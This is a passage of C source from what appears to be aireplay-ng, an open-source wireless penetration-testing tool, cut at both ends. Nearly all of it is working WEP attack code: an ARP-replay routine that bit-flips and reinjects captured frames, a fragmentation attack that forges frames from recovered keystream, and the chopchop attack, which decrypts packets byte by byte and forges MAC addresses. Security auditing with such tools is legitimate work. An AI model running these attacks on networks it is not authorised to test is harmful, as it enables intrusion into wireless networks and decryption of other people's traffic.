'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n"); //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n"); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 2: /* FromDS */ { if(memcmp(h80211 + 4, BROADCAST, 6) == 0) { /* backup sender MAC */ memset( senderMAC, 0, 6 ); memcpy( senderMAC, h80211 + 16, 6 ); /* rewrite to a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, BROADCAST, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); /* flip the sender MAC to convert it into the source MAC */ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]); flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]); flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]); flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]); flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]); flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]); flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) { (h80211+z+4)[i] ^= flip[i]; } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int set_final_arp(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x08; // IP buf[1] = 0x00; buf[2] = 0x06; //hardware size buf[3] = 0x04; //protocol size buf[4] = 0x00; buf[5] = 0x01; //request memcpy(buf+6, mymac, 6); //sender mac buf[12] = 0xA9; //sender IP 169.254.87.197 buf[13] = 0xFE; buf[14] = 0x57; buf[15] = 0xC5; //end sender IP return 0; } int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; return 0; } int do_attack_cfrag( void ) { int caplen, n; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; unsigned char keystream[128]; unsigned char frag1[128], frag2[128], frag3[128]; unsigned char clear[4096], final[4096], flip[4096]; int isarp; int z, i; opt.f_fromds = 0; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen < z) { goto read_packets; } if(caplen > 3800) { goto read_packets; } switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 16, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 24, 6 ); break; } memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); /* check if it's a potential ARP request */ //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte) if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else //tods { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; i<caplen; i++) flip[i] = clear[i] ^ final[i]; add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; h80211[22] = 0xD1; // frag = 1; //ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen } else { /* process IP */ printf("Found IP packet\n"); isarp = 0; //build the new packet set_clear_ip(clear, caplen-z-4-8-4); //caplen - ieee80211header - IVIDX - LLC/SNAP - ICV set_final_ip(final, opt.r_smac); for(i=0; i<8; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 12 bytes;(add 3 frags in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV memcpy(frag2, h80211, z+4); //copy 80211 header and IV memcpy(frag3, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags frag2[1] |= 0x04; //more frags frag3[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 4); add_crc32(frag1+z+4, 4); for(i=0; i<8; i++) (frag1+z+4)[i] ^= keystream[i]; memcpy(frag2+z+4, S_LLC_SNAP_ARP+4, 4); add_crc32(frag2+z+4, 4); for(i=0; i<8; i++) (frag2+z+4)[i] ^= keystream[i]; frag2[22] = 0xD1; //frag = 1; frag3[z+4+0] = 0x00; frag3[z+4+1] = 0x01; //ether frag3[z+4+2] = 0x08; //IP frag3[z+4+3] = 0x00; add_crc32(frag3+z+4, 4); for(i=0; i<8; i++) (frag3+z+4)[i] ^= keystream[i]; frag3[22] = 0xD2; //frag = 2; /* frag1,2,3 finished */ for(i=0; i<caplen; i++) flip[i] = clear[i] ^ final[i]; add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; h80211[22] = 0xD3; // frag = 3; //ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen } /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if(isarp) { if( send_packet( frag1, z+4+10+4 ) < 0 ) return( 1 ); nb_pkt_sent--; } else { if( send_packet( frag1, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag2, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag3, z+4+4+4 ) < 0 ) return( 1 ); nb_pkt_sent-=3; } if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } return( 0 ); } int do_attack_chopchop( void ) { float f, ticks[4]; int i, j, n, z, caplen, srcz; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; unsigned char packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if(getnet(NULL, 1, 0) != 0) return 1; srand( time( NULL ) ); if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones) memset(packet, 0, sizeof(packet)); memcpy( packet, NULL_DATA, 24 ); memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); memcpy( packet + 10, opt.r_smac, 6 ); memcpy( packet + 16, opt.f_bssid, 6 ); packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* setup the chopping buffer */ n = caplen - z + 24; if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); data_start = 24 + 4; data_end = n; srcdiff = z-24; chopped[0] = 0x08; /* normal data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ /* copy the duration */ memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( chopped + 4, h80211 + 16, 6 ); break; case 1: memcpy( chopped + 4, h80211 + 4, 6 ); break; case 2: memcpy( chopped + 4, h80211 + 10, 6 ); break; default: memcpy( chopped + 4, h80211 + 10, 6 ); break; } /* copy the WEP IV */ memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ /* if the replay source mac is unspecified, forge one */ if( opt.r_smac_set == 0 ) { is_deauth_mode = 1; opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } else { is_deauth_mode = 0; opt.r_dmac[0] = 0xFF; opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; tt = time( NULL ); alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) ) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 40; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06; chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00; chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01; chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08; chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA; chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00; chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 ); chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[z + 8] = 0x40 + i; chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[z + 9] = j; chopped[24 + 13] = srcbuf[srcz + 13] ^ j; if( check_crc_buf( h80211 + z, caplen - z - 8 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && ! is_deauth_mode ) { nb_bad_pkt++; if( nb_bad_pkt > 256 ) { printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n"); sleep(3); nb_bad_pkt = 0; } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); } } else { if( is_deauth_mode ) continue; /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; if( ( h80211[0] & 0x70 ) != 0 ) continue; if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* check the extended IV (TKIP) flag */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; /* check the destination address */ if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); } } /* we have a winner */ guess = h80211[9]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[24 + 4] = srcbuf[srcz + 4] ^ b1; chopped[24 + 5] = srcbuf[srcz + 5] ^ b2; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) { if (!tried_header_rec) { printf( 